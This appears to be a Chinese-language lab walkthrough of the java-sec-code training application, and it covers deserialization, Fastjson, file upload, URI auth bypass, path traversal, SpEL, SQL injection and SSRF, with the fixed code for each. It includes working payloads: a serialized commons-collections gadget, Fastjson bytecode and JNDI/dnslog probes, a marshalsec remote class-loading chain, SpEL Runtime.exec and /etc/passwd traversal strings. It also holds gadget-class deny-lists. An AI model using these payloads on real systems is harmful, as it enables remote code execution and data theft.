5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=

访问页面

http://192.168.8.103:8080/java_sec_code_war/deserialize/rememberMe/vuln

image-20210926172201962

image-20210926172201962

修复代码:

@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
throws IOException, ClassNotFoundException {

Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);

ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);

try {
AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException
in.readObject();
in.close();
} catch (InvalidClassException e) {
logger.info(e.toString());
return e.toString();
}

return "I'm very OK.";
}

修复方式是通过Hook resolveClass来校验反序列化的类

序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。这个方法最早是由IBM的研究人员Pierre Ernst在2013年提出《Look-ahead Java deserialization

跟入后对应代码如下:

/**
* 只允许反序列化SerialObject class
*
* 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。
* 类似fastjson通用类的反序列化就不能校验。
* 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。
*
*/
@Override
protected Class<?> resolveClass(final ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String className = desc.getName();

// Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
logger.info("Deserialize class name: " + className);

String[] denyClasses = {"java.net.InetAddress",
"org.apache.commons.collections.Transformer",
"org.apache.commons.collections.functors"};

for (String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}

return super.resolveClass(desc);
}

如果还是不太明白,可以参考:

  1. 浅谈Java反序列化漏洞修复方案
  2. Java反序列化过程深究

8.Fastjson

FastJson是开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。

漏洞被利用本质找到一条有效的攻击链,攻击链的末端就是有代码执行能力的类,来达到我们想做的事情,一般都是用来RCE(远程命令执行)。构造一个触发器,也就是通过什么方式来让攻击链执行你想要的代码。触发器可以通过很多方式,比如静态代码块、构造方法等等。

Fastjson反序列化漏洞被利用的原因,可以归结为两方面:

Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;
Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。
攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定setter或getter方法,若上述方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验,但随着时间的推移及自动化漏洞挖掘能力的提升。新Gadget会不断涌现,黑名单这种治标不治本的方式只会导致不断被绕过,从而对使用该组件的用户带来不断升级版本的困扰。

对编程人员而言,在使用Fastjson反序列化时会使用到Fastjson所提供的几个静态方法:

parse (String text)

parseObject(String text)

parseObject(String text, Class clazz)

无论使用上述哪种方式处理JSON字符串,都会有机会调用目标类中符合要求的Getter方法或者Setter方法,如果一个类中的Getter或者Setter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。

核心代码:

    @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}

public static void main(String[] args) {
// Open calc in mac
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

使用parseObject 来解析json字符串

用POST方法打开,Content-Type设置为application/json,暴露使用的fastjson:

image-20210927164036838

image-20210927164036838

使用DNSLOG验证

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"name":{"@type":"java.net.InetAddress","val":"dnslog"}}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"}
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://dnslog/"], "Realms":[""]}
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://dnslog/"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://dnslog/"}
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://dnslog/"}, "namespace":""}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://dnslog/"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog/", "autoCommit":true}
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://dnslog/"}
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://dnslog/","Object":"a"}
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"rmi://dnslog/"}

image-20210927164811478

image-20210927164811478

image-20210927164834250

image-20210927164834250

任意命令执行

// TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}

编译代码,上传至服务器,我在本地使用Python http.server 进行搭建

javac TouchFile.java          //进行编译
python3 -m http.server 4444 //简单搭建web服务

借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103/#TouchFile 9999

在显示监听后,在客户端发送请求payload,主要看创建文件是否成功

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.169.8.103:9999/TouchFile",
"autoCommit":true
}
}

image-20210928162052579

image-20210928162052579

发现已经访问

╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103:4444/#TouchFile 9999
* Opening JRMP listener on 9999
Have connection from /192.168.8.103:54177
Reading message...
Is RMI.lookup call for TouchFile 2
Sending remote classloading stub targeting http://192.168.8.103:4444/TouchFile.class
Closing connection

╰─$ python3 -m http.server 4444
Serving HTTP on :: port 4444 (http://[::]:4444/) ...
::ffff:192.168.8.103 - - [28/Sep/2021 16:06:29] "GET /TouchFile.class HTTP/1.1" 200 -

查看文件

image-20210928162106468

image-20210928162106468

  1. Fastjson 1.2.24 反序列化漏洞深度分析
  2. 发现最新版本1.2.67依然可以通过dnslog判断正确是否使用fastjson

9.FileUpload

对于文件上传来说,目前这类漏洞在spring里非常少,原因有两点:

  1. 大多数公司上传的文件都会到cdn
  2. spring的jsp文件必须在web-inf目录下才能执行

除非,可以上传war包到tomcat的webapps目录。

正常上传代码如下:

@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {
// 赋值给uploadStatus.html里的动态参数message
redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
return "redirect:/file/status";
}

try {
// Get the file and save it somewhere
byte[] bytes = file.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);

redirectAttributes.addFlashAttribute("message",
"You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");

} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
logger.error(e.toString());
}

return "redirect:/file/status";
}

@GetMapping("/status")
public String uploadStatus() {
return "uploadStatus";
}

可以看到没有对后缀名,MIME,文件内容等内容进行校验,可以任意上传。

对图片上传做限制后的代码如下

@PostMapping("/upload/picture")
@ResponseBody
public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
if (multifile.isEmpty()) {
return "Please select a file to upload";
}

String fileName = multifile.getOriginalFilename();
String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
String mimeType = multifile.getContentType(); // 获取MIME类型
String filePath = UPLOADED_FOLDER + fileName;
File excelFile = convert(multifile);


// 判断文件后缀名是否在白名单内 校验1
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
if (!suffixFlag) {
logger.error("[-] Suffix error: " + Suffix);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}


// 判断MIME类型是否在黑名单内 校验2
String[] mimeTypeBlackList = {
"text/html",
"text/javascript",
"application/javascript",
"application/ecmascript",
"text/xml",
"application/xml"
};
for (String blackMimeType : mimeTypeBlackList) {
// 用contains是为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
}

// 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile);
deleteFile(randomFilePath);

if (!isImageFlag) {
logger.error("[-] File is not Image");
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}


try {
// Get the file and save it somewhere
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
} catch (IOException e) {
logger.error(e.toString());
deleteFile(filePath);
return "Upload failed";
}

logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
logger.info("[+] Successfully uploaded {}", filePath);
return String.format("You successfully uploaded '%s'", filePath);
}

private void deleteFile(String filePath) {
File delFile = new File(filePath);
if(delFile.isFile() && delFile.exists()) {
if (delFile.delete()) {
logger.info("[+] " + filePath + " delete successfully!");
return;
}
}
logger.info(filePath + " delete failed!");
}

1.对文件名做了白名单限制{“.jpg”, “.png”, “.jpeg”, “.gif”, “bmp”, “.ico”} 只允许对这些文件进行上传

String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
if (!suffixFlag) {
logger.error("[-] Suffix error: " + Suffix);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}

2.判断MIME类型是否在黑名单内

"text/html",
"text/javascript",
"application/javascript",
"application/ecmascript",
"text/xml",
"application/xml"

3.使用contains为了防止text/html;charset=UTF-8绕过

if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}

4.使用IsImage()函数调用ImageIO.read()函数来检测内容是否为文件

private static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file);
return bi != null;
}

5.上传文件时会通过uuid生成一个’/tmp’ + uuid + ‘png’ 这样的文件名,然后最后删除掉

    try {
// Get the file and save it somewhere
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
} catch (IOException e) {
logger.error(e.toString());
deleteFile(filePath);
return "Upload failed";
}

logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
logger.info("[+] Successfully uploaded {}", filePath);
return String.format("You successfully uploaded '%s'", filePath);
}

private void deleteFile(String filePath) {
File delFile = new File(filePath);
if(delFile.isFile() && delFile.exists()) {
if (delFile.delete()) {
logger.info("[+] " + filePath + " delete successfully!");
return;
}
}
logger.info(filePath + " delete failed!");
}

image-20211026084805243

image-20211026084805243

存在未对文件名做校验,存在路径穿越漏洞,参数修改为../../Users/oldthree/Documents/0.OL4THREE/0.Base/apache-tomcat-8.5.70/webapps/java_sec_code_war/1.png 我们可以上传图片到任意目录,上传图片马不解析

image-20211026084911718

image-20211026084911718

─ol4three ~/Documents/0.OL4THREE/0.Base/apache-tomcat-8.5.70/webapps/java_sec_code_war
╰─$ ls
1.png META-INF WEB-INF

直接进行访问即可

image-20211026085048387

image-20211026085048387

由于会重新随机生成文件名未在检测中进行,导致上传jsp失败仍然会在/tmp目录下进行生成随机数生成的.jsp

image-20211026092407832

image-20211026092407832

╭─ol4three /tmp
╰─$ ls
06dc320d-35fb-11ec-937b-c91feee9eae9.jsp
1989897e-35fb-11ec-937b-195f26ab9cc0.jsp
2156c28f-35fb-11ec-937b-a71889553c3e.jsp

使用文件上传any接口上传jsp文件解析利用如下:

image-20211026091923728

image-20211026091923728

image-20211026091850244

image-20211026091850244

10.GetRequestURI

当应用存在静态资源目录,比如/css/目录,在权限校验时一般会选择放行,即不校验权限。研发同学用getRequestURI()获取URI后,判断是否包含 /css/字符串,如果包含则不校验权限。此时如果URI为/css/../hello,用getRequestURI()获取的URI是/css/../hello,包含/css/字符串,所以不校验权限。但是此时后端的路由为/hello,导致权限绕过。

核心代码如下:

@GetMapping(value = "/exclued/vuln")
public String exclued(HttpServletRequest request) {

String[] excluedPath = {"/css/**", "/js/**"};
String uri = request.getRequestURI(); // Security: request.getServletPath()
PathMatcher matcher = new AntPathMatcher();

logger.info("getRequestURI: " + uri);
logger.info("getServletPath: " + request.getServletPath());

for (String path : excluedPath) {
if (matcher.match(path, uri)) {
return "You have bypassed the login page.";
}
}
return "This is a login page >..<";
}

可以看到判断包含/css/和/js/字符串如果包含则不进行校验权限

由于作者写的时候是使用根目录检测需要/css/..;/exclued/vuln 开头,可以修改网站根目录进行测试或者,手动调试修改代码

使用curl进行验证发现可以成功绕过return “You have bypasswd the login page.”

╰─$ curl -i -s -k  -X $'GET' \
-H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36' -H $'Referer: http://172.20.10.6:8080/java_sec_code_war/login' \
-b $'JSESSIONID=41B2022F0376956FF0E5583CEC92FD3B; XSRF-TOKEN=7de740ac-305e-41b3-b711-438a1b068f77; remember-me=YWRtaW46MTYzNjM2NzI0NjU0NDozNTYwZjNiODFiODBhOTYxOTcxZGM4YWQ2NDY5ZTExZA' \
$'http://172.20.10.6:8080/java_sec_code_war/uri/css/..;/exclued/vuln'
HTTP/1.1 200
X-Application-Context: application
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: text/plain;charset=UTF-8
Content-Length: 33

You have bypassed the login page.%

使用浏览器访问如下:http://172.20.10.6:8080/java_sec_code_war/uri/css/..;/exclued/vuln

image-20211025182934819

image-20211025182934819

安全的方法是使用:getServletPath()方法,该方法会自动对URL

2021-10-25 18:28:11.268  INFO 2967 --- [nio-8080-exec-5] org.joychou.controller.GetRequestURI     : getRequestURI: /css/..;/exclued/vuln
2021-10-25 18:28:11.268 INFO 2967 --- [nio-8080-exec-5] org.joychou.controller.GetRequestURI : getServletPath: /exclued/vuln

使用getServletPath()方法对URI进行标准化(normalize),先对URI进行URLDecode,如果存在/../,将其返回到上一级目录,即/css/..;/exclued/vuln/处理为/exclued/vuln/,并将新的Path设置为servletPath。

11.PathTraversal

路径遍历攻击(也称为目录遍历)是指在访问储存在web根目录文件夹之外的文件和目录。通过操纵带有“点-斜线(..)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。

核心代码:

/**
* http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd
*/
@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {
return getImgBase64(filepath);
}

private String getImgBase64(String imgFile) throws IOException {

logger.info("Working directory: " + System.getProperty("user.dir"));
logger.info("File path: " + imgFile);

File f = new File(imgFile);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));
return new String(Base64.encodeBase64(data));
} else {
return "File doesn't exist or is not a file.";
}
}

没有对文件名做校验存在漏洞

访问http://172.20.10.6:8080/java_sec_code_war/path_traversal/vul?filepath=../../../../../../../../etc/passwd

image-20211026094047542

image-20211026094047542

修复代码:

@GetMapping("/path_traversal/sec")
public String getImageSec(String filepath) throws IOException {
if (SecurityUtil.pathFilter(filepath) == null) {
logger.info("Illegal file path: " + filepath);
return "Bad boy. Illegal file path.";
}
return getImgBase64(filepath);
}

利用pathFilter对输入的路径进行过滤,跟进去查看pathFilter()函数

public static String pathFilter(String filepath) {
String temp = filepath;

// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}

if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}

return filepath;
}

对输入的参数先做检测若是URL编码先做解码,然后检测对”..”,”/“参数做过滤。

12.SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。

核心代码:

@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}

直接将用户的输入当作表达式内容进行解析。

输入一个简单的乘法运算2*2,可以看到返回的值是经过解析后的4

image-20211026095240922

image-20211026095240922

执行下系统命令

http://172.20.10.6:8080/java_sec_code_war/spel/vuln/?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)

image-20211026095448592

image-20211026095448592

  1. SPEL表达式注入-入门篇
  2. 由浅入深SpEL表达式注入漏洞

13.SQLI

Sql注入修改mysql的配置之后即可进行,整体比较简单

核心代码:

@RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username) {

StringBuilder result = new StringBuilder();

try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);

if (!con.isClosed())
System.out.println("Connect to database successfully.");

// sqli vuln code
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
logger.info(sql);
ResultSet rs = statement.executeQuery(sql);

while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();


} catch (ClassNotFoundException e) {
logger.error("Sorry,can`t find the Driver!");
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}

直接对输入的username参数进行拼接存在sql注入漏洞

访问url:

http://localhost:8080/java_sec_code_war/sqli/mybatis/vuln01?username=joychou%27%20or%20%271%27=%271

image-20211026181809439

image-20211026181809439

控制台输出如下:

DEBUG 9753 --- [nio-8080-exec-2] o.j.m.UserMapper.findByUserNameVuln01    : ==>  Preparing: select * from users where username = 'joychou' or '1'='1' 
DEBUG 9753 --- [nio-8080-exec-2] o.j.m.UserMapper.findByUserNameVuln01 : ==> Parameters:
DEBUG 9753 --- [nio-8080-exec-2] o.j.m.UserMapper.findByUserNameVuln01 : <== Total: 2

修复代码如下:

@RequestMapping("/jdbc/sec")
public String jdbc_sqli_sec(@RequestParam("username") String username) {

StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);

if (!con.isClosed())
System.out.println("Connecting to Database successfully.");

// fix code
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);

logger.info(st.toString()); // sql after prepare statement
ResultSet rs = st.executeQuery();

while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}

rs.close();
con.close();

} catch (ClassNotFoundException e) {
logger.error("Sorry, can`t find the Driver!");
e.printStackTrace();
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}

prepareStatement()通过预处理方式进行修复

预处理的修复原理:针对字符串类型的SQL注入,是在字符串两边加上一对单号哈'',对于中间点的单引号对其进行转义\',让其变成字符的单引号。Mybatis的#{}也是预处理方式处理SQL注入。

在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写SQL语句时,注意orderBy后的变量要使用${},而不用#{}。因为#{}变量是经过预编译的,${}没有经过预编译。虽然${}存在SQL注入的风险,但orderBy必须使用${},因为#{}会多出单引号''导致SQL语句失效。为防止SQL注入只能自己对其过滤。

根据下面的结果可以发现order by 'username'并没有用,第一条SQL和第二条SQL效果一样。

select * from users order by 'username' desc -- 结果为 joychou wilson lightless 
select * from users -- 结果为 joychou wilson lightless
select * from users order by username -- 结果为 joychou lightless wilson
select * from users order by username desc -- 结果为 wilson lightless joychou

14.SSRF

1.漏洞简介

SSRF(Server-side Request Forge, 服务端请求伪造)。 由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

2.支持协议

file ftp mailto http https jar netdoc

如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。

3.重定向

Java默认会跟随重定向。先在一台服务器上写一个test.php,代码如下:

<?php
$url = 'gopher://35.185.163.134:2333/_joy%0achou';
header("location: $url");
?>

启动apache 放置对应文件

sudo apachectl start
cp ~/Desktop/test.php /Library/WebServer/Documents

访问payload

http://localhost:8080/java_sec_code_war/ssrf/urlConnection/vuln?url=http://127.0.0.1/test.php

收到异常:

java.net.MalformedURLException: unknown protocol: gopher

跟踪报错代码:

private boolean followRedirect() throws IOException {
if(!this.getInstanceFollowRedirects()) {
return false;
} else {
final int var1 = this.getResponseCode();
if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {
